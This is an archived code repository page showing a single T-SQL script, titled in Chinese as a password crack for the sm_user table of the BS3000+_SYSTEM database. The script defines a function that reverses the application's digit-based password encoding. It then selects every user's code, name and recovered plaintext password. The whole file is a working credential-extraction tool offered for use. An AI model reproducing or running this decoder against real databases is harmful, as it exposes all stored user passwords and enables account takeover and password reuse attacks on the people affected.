This repository has been archived on 2026-06-20. You can view files and clone it. You cannot open issues or pull requests or push a commit.
Files
SQL/sm_user密码破解.sql
T
2025-02-08 12:27:37 +08:00

59 lines
1.2 KiB
Transact-SQL

use [BS3000+_SYSTEM]
GO
IF EXISTS (SELECT 1 FROM SYS.objects WHERE OBJECT_ID = OBJECT_ID(N'[DBO].[fn_sm_user]') AND TYPE IN (N'FN', N'IF', N'TF', N'FS', N'FT'))
DROP FUNCTION fn_sm_user
GO
create function fn_sm_user(@psw varchar(100))
returns varchar(50)
as
begin
declare @result varchar(50), --结果
@cout int, --每3位一组数量
@psw_new varchar(100), --新秘钥
@num int --截取3位数
set @result = ''
set @psw = REPLACE(@psw,'/U','')
set @psw_new = REPLACE(@psw,'+','')
set @cout = LEN(@psw)/3
if @cout=0
begin
set @result = '无密码'
end
else
begin
WHILE LEN(@psw_new)>0
begin
select @num = cast(SUBSTRING(@psw_new,1,3) as int)
begin
IF @num<126
begin
select @num=@num - 111
end
else
begin
while(@num>=126)
begin
select @num=@num - 111
end
end
select @result=@result + cast(CHAR(@num) as CHAR(1))
end
select @psw_new = STUFF(@psw_new,1,3,'')
end
end
return (@result)
end
go
select vusercode,vusername,dbo.fn_sm_user(vpassword) from sm_user